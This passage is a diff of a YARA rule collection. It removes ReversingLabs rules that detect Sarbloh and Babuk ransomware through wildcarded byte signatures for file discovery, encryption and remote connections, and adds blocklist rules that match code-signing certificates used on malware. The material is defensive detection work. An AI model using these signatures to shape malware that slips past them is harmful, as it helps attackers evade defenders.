?? - 50 E8 ?? ?? ?? ?? 88 9C 2C ?? ?? ?? ?? 8D 75 ?? 83 C4 ?? 6A ?? 8D 4C 24 ?? 6A ?? 51 - E8 ?? ?? ?? ?? 6A ?? 8D 94 24 ?? ?? ?? ?? 52 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 8D 44 24 ?? B9 ?? ?? ?? ?? 80 30 ?? 40 49 75 ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 6A ?? - 8D 54 24 ?? 52 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 56 8D 8C 24 ?? ?? ?? ?? 51 8D - 94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 4C 24 ?? 51 E8 ?? ?? - ?? ?? 83 C4 ?? 8D 44 24 ?? B9 ?? ?? ?? ?? 8B FF 80 30 ?? 40 49 75 ?? 8D 54 24 ?? 52 - E8 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 6A ?? 8D - 54 24 ?? 52 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 8D 54 24 - ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B F7 83 FF ?? 72 ?? BE ?? ?? ?? ?? 8B 4C 24 ?? 56 8D - 44 24 ?? 50 51 E8 ?? ?? ?? ?? 01 74 24 ?? 2B FE 83 C4 ?? 43 89 BC 24 ?? ?? ?? ?? 85 - FF 0F 85 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 - } - $find_files = { - 83 EC ?? 53 55 56 57 33 DB 68 ?? ?? ?? ?? 6A ?? 89 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? - ?? 8B E8 8D 44 24 ?? 50 89 6C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? 55 51 E8 ?? ?? ?? ?? - 8B 74 24 ?? 6A ?? 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 55 68 ?? ?? ?? - ?? 89 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B F8 57 8D 54 24 ?? 52 8D 44 24 ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? 3B C3 75 ?? 8B 4C 24 ?? 51 8D 54 24 ?? 52 E8 ?? ?? - ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? - ?? ?? 8B 44 24 ?? 50 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 4C 24 ?? - 51 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 54 24 ?? 52 56 E8 ?? ?? ?? - ?? 83 C4 ?? 33 FF 39 5C 24 ?? 76 ?? 8D 64 24 ?? 8B 44 24 ?? 8B 0C B8 51 56 E8 ?? ?? - ?? ?? 47 83 C4 ?? 3B 7C 24 ?? 72 ?? 39 5C 24 ?? 75 ?? 8B 44 24 ?? 3B C3 74 ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 54 24 ?? 52 56 E8 ?? ?? ?? - ?? 8B 44 24 ?? 83 C4 ?? 89 5C 24 ?? 3B C3 0F 86 ?? ?? ?? ?? EB ?? 8D 9B ?? ?? ?? ?? - 8B 44 24 ?? 8B 4C 24 ?? 8B 1C 88 53 55 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 57 68 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 8B E8 E8 ?? ?? ?? ?? 6A ?? 56 89 44 24 ?? - E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 53 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 56 E8 ?? ?? ?? ?? 33 C0 8D 54 24 ?? 55 52 C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 84 - 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 - 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 44 24 ?? 50 56 - E8 ?? ?? ?? ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? - ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 8B D3 52 E8 ?? ?? - ?? ?? 8B 4C 24 ?? 8B 44 24 ?? 8B 6C 24 ?? 41 83 C4 ?? 89 4C 24 ?? 3B C8 0F 82 ?? ?? - ?? ?? 33 DB 33 F6 3B C3 76 ?? 8B 44 24 ?? 8B 0C B0 51 E8 ?? ?? ?? ?? 46 83 C4 ?? 3B - 74 24 ?? 72 ?? 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? - 3B C3 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 5F 5E 5D 3B C3 5B 74 ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 83 C4 ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and $scan_for_services and $find_files and $encrypt_files and $remote_connection + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, Song WU" and pe.signatures [ i ] . serial == "35:96:df:c2:3b:9a:42:c6:67:00:98:22:50:da:29:06" and 1397219344 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Sarbloh : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_486Bbddc8C5Ee99F051Ecaeb3F99D2A3 : INFO FILE { meta: - description = "Yara rule that detects Sarbloh ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "532abd77-f091-5c54-87a3-7e8be5253efd" - date = "2021-05-21" - modified = "2021-05-21" + id = "07b43dd7-e8f1-5b14-a0f4-42294b5b597e" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Sarbloh.yara#L1-L88" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17016-L17032" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7259aa9d1fe657db220ee50f1610e6439ff61673d92f46ebc3b8cadd990f002c" + logic_hash = "75855e26ba4e01b56a551a006e789c6032cfb02c6f6125a9bdf8becb848db5b2" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Sarbloh" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 8B 45 ?? C6 00 ?? 8B 45 ?? 40 89 45 ?? 39 75 ?? 72 ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? - ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 75 - ?? 81 FE ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? - ?? 8B D8 89 5D ?? 85 DB 0F 84 ?? ?? ?? ?? C1 E6 ?? 56 6A ?? 89 75 ?? FF 15 ?? ?? ?? - ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 7D ?? 8D 85 ?? ?? ?? ?? - 6A ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 8B - 8D ?? ?? ?? ?? 8B C1 8B 55 ?? 0B C2 89 4D ?? 89 55 ?? 0F 84 ?? ?? ?? ?? 0F 57 C0 66 - 0F 13 45 ?? 85 D2 0F 8C ?? ?? ?? ?? 7F ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? - 8B 45 ?? 89 45 ?? EB ?? 8B 75 ?? 8B 7D ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? - 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 8B 45 ?? 8B 4D ?? 89 4D ?? 89 45 ?? - 85 C0 0F 8C ?? ?? ?? ?? 7F ?? 85 C9 0F 82 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 85 - ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 6A ?? 6A ?? 56 8B 75 ?? - 8D 45 ?? 56 50 6A ?? 6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 85 C0 0F - 85 ?? ?? ?? ?? 8B 75 ?? EB ?? 33 F6 8B 45 ?? 8B 4D ?? 89 75 ?? 89 4D ?? 89 45 ?? 85 - C0 0F 8C ?? ?? ?? ?? 7F ?? 85 C9 0F 82 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 8D 85 ?? - ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 33 FF 85 C0 0F 88 ?? ?? ?? ?? 85 F6 0F 84 - } - $encrypt_files_p2 = { - 8B 75 ?? 8D 45 ?? 56 50 53 52 6A ?? 52 FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 56 53 8D 45 ?? 50 6A ?? 6A ?? 6A ?? FF 75 ?? - FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 85 C0 0F 88 ?? ?? ?? ?? 8B 4D ?? - 81 C7 ?? ?? ?? ?? 3B 7D ?? 72 ?? 8B 75 ?? 03 75 ?? 8B 45 ?? 83 D0 ?? 89 75 ?? 89 45 - ?? 3B 45 ?? 0F 8C ?? ?? ?? ?? 7F ?? 3B B5 ?? ?? ?? ?? 8B 75 ?? 0F 82 ?? ?? ?? ?? 8D - 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? F7 D8 6A ?? 1B DB 8D 45 - ?? 23 5D ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? 89 5D ?? 89 5D ?? FF 15 ?? ?? ?? ?? - F7 D8 1B F6 23 75 ?? 56 6A ?? 89 75 ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 - 85 FF 0F 84 ?? ?? ?? ?? 8D 45 ?? 89 5D ?? 50 57 6A ?? 6A ?? 6A ?? FF 75 ?? FF 15 ?? - ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 8D 45 ?? 89 5D ?? 50 57 6A ?? 6A ?? 6A ?? FF 75 - ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 56 57 8D 45 ?? 50 6A ?? 6A - ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 85 C0 78 ?? 39 75 ?? 75 ?? - 8B 85 ?? ?? ?? ?? 6A ?? 6A ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 6A ?? 89 85 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 50 8D 45 ?? 89 9D ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? FF 75 ?? 89 B5 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 85 C0 78 ?? 33 C0 B9 ?? ?? ?? ?? 83 - 7D ?? ?? 0F 44 C1 89 45 ?? 89 7D ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 03 4D ?? 39 4D ?? 73 - ?? 90 8B 45 ?? C6 00 ?? 8B 45 ?? 40 89 45 ?? 39 4D ?? 72 ?? 57 6A ?? FF 15 ?? ?? ?? - ?? 50 FF 15 ?? ?? ?? ?? 8B 5D ?? 8B 7D ?? 8B 75 ?? EB - } - $find_files_p1 = { - 55 8B EC 83 EC ?? 53 56 8B 75 ?? 57 8B F9 83 3E ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 8D - 45 ?? 50 52 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 89 45 ?? 8D - 45 ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 57 C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 0F 89 4D ?? 85 C0 78 ?? - 83 F9 ?? 74 ?? FF 75 ?? BB ?? ?? ?? ?? C7 06 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 50 - FF 15 ?? ?? ?? ?? 8B 55 ?? EB ?? FF 75 ?? C7 06 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 8B 17 33 DB 89 55 ?? C7 45 - ?? ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 81 C1 ?? ?? ?? ?? 39 4D ?? 73 - } - $find_files_p2 = { - 8B 45 ?? C6 00 ?? 8B 45 ?? 40 89 45 ?? 39 4D ?? 72 ?? 53 6A ?? 6A ?? 6A ?? 68 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 52 FF 15 ?? ?? ?? ?? 8B F8 33 DB - 89 5D ?? 81 FF ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 85 FF 78 ?? 8B 4D ?? 8B 35 ?? - ?? ?? ?? 2B CB 0F 84 ?? ?? ?? ?? 83 E9 ?? 0F 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B C1 - C1 E8 ?? F7 D0 A8 ?? 74 ?? F7 C1 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 FE ?? 74 ?? 83 FE - ?? 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 C0 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "48:6b:bd:dc:8c:5e:e9:9f:05:1e:ca:eb:3f:99:d2:a3" and 1473292800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Babuk : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_11211Eea9D0D1D1A325B5Eae1B2B1951120F : INFO FILE { meta: - description = "Yara rule that detects Babuk ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8a96f400-193f-5fd1-ba03-4da464345e1c" - date = "2021-01-26" - modified = "2021-01-26" + id = "09b8b3f3-a4aa-5584-b8d0-751cc87267bf" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Babuk.yara#L1-L117" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17034-L17050" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "70327b3f9d0b0505ade7ee6de6d7facf56820c7e8477bd172f738f374311144f" + logic_hash = "bafab986605be61d25a6764042937bc5d8c55196ea8ea9aa9360764d9681351b" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Babuk" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 50 8B - 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? - 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 95 ?? - ?? ?? ?? 83 C2 ?? 89 95 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 73 ?? 8B 85 ?? ?? ?? ?? 8B - 0C 85 ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E9 ?? ?? ?? - ?? E9 ?? ?? ?? ?? EB ?? 8B 45 ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? - 51 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 E2 ?? 74 ?? 83 7D ?? ?? 77 ?? 8B 45 ?? 83 - C0 ?? 50 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? - ?? ?? 89 85 ?? ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 83 E9 ?? 89 8D ?? ?? ?? ?? 83 BD ?? - ?? ?? ?? ?? 7C ?? 8B 95 ?? ?? ?? ?? 0F B7 84 55 ?? ?? ?? ?? 83 F8 ?? 75 ?? 68 ?? ?? - ?? ?? 8B 8D ?? ?? ?? ?? 8D 94 4D ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? EB ?? - EB ?? EB ?? EB ?? EB ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? - ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 50 FF 15 - } - $encrypt_files_p1 = { - 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A - ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD - ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? - ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 - ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 8C ?? ?? - ?? ?? 7F ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B - 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 52 50 E8 ?? ?? ?? - ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 0F 57 C0 66 0F 13 85 ?? ?? ?? ?? EB ?? 8B 8D - ?? ?? ?? ?? 83 C1 ?? 8B 95 ?? ?? ?? ?? 83 D2 ?? 89 8D ?? ?? ?? ?? 89 95 ?? ?? ?? ?? - 83 BD ?? ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 7C ?? 83 BD ?? ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 - } - $encrypt_files_p2 = { - E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 68 - ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? - 51 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 52 - FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 8C ?? ?? ?? - ?? 7F ?? 83 BD ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 - ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? - ?? ?? 74 ?? 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 68 ?? ?? - ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? - ?? ?? 50 8B 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - } - $encrypt_files_p3 = { - C4 ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? - 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 68 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 45 - ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF - 15 ?? ?? ?? ?? 6A ?? 8B 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 95 ?? ?? - ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? - ?? 6A ?? 6A ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 6A ?? 8D 95 ?? ?? ?? - ?? 52 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8D 45 ?? 50 6A - ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? - ?? ?? 52 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? - 3B 95 ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 69 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 BC 05 ?? ?? ?? - ?? ?? 0F 84 ?? ?? ?? ?? 69 8D ?? ?? ?? ?? ?? ?? ?? ?? 81 BC 0D ?? ?? ?? ?? ?? ?? ?? - ?? 74 ?? FF 15 ?? ?? ?? ?? 69 95 ?? ?? ?? ?? ?? ?? ?? ?? 3B 84 15 ?? ?? ?? ?? 74 ?? - 69 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 8C 05 ?? ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? FF 15 ?? - ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF - 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 8D ?? ?? ?? - ?? 51 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $enum_resources = { - 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? 8D 45 ?? 50 8B 4D ?? 51 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? - ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 45 - ?? 50 8B 4D ?? 51 8D 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? C7 45 ?? ?? ?? - ?? ?? EB ?? 8B 4D ?? 83 C1 ?? 89 4D ?? 8B 55 ?? 3B 55 ?? 73 ?? 8B 45 ?? C1 E0 ?? 8B - 4D ?? 8B 54 01 ?? 83 E2 ?? 74 ?? 8B 45 ?? C1 E0 ?? 03 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? EB ?? 6A ?? 8B 4D ?? C1 E1 ?? 8B 55 ?? 8B 44 0A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB - ?? EB ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 4D ?? 33 - CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( $enum_resources ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LLC HERMES" and pe.signatures [ i ] . serial == "11:21:1e:ea:9d:0d:1d:1a:32:5b:5e:ae:1b:2b:19:51:12:0f" and 1460147212 <= pe.signatures [ i ] . not_after ) } -/* - * YARA Rule Set - * Repository Name: R3c0nst - * Repository: https://github.com/fboldewin/YARA-rules/ - * Retrieval Date: 2026-02-22 - * Git Commit: 54e9e6899b258b72074b2b4db6909257683240c2 - * Number of Rules: 26 - * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance) - * - * - * LICENSE - * - * NO LICENSE SET - */ -rule 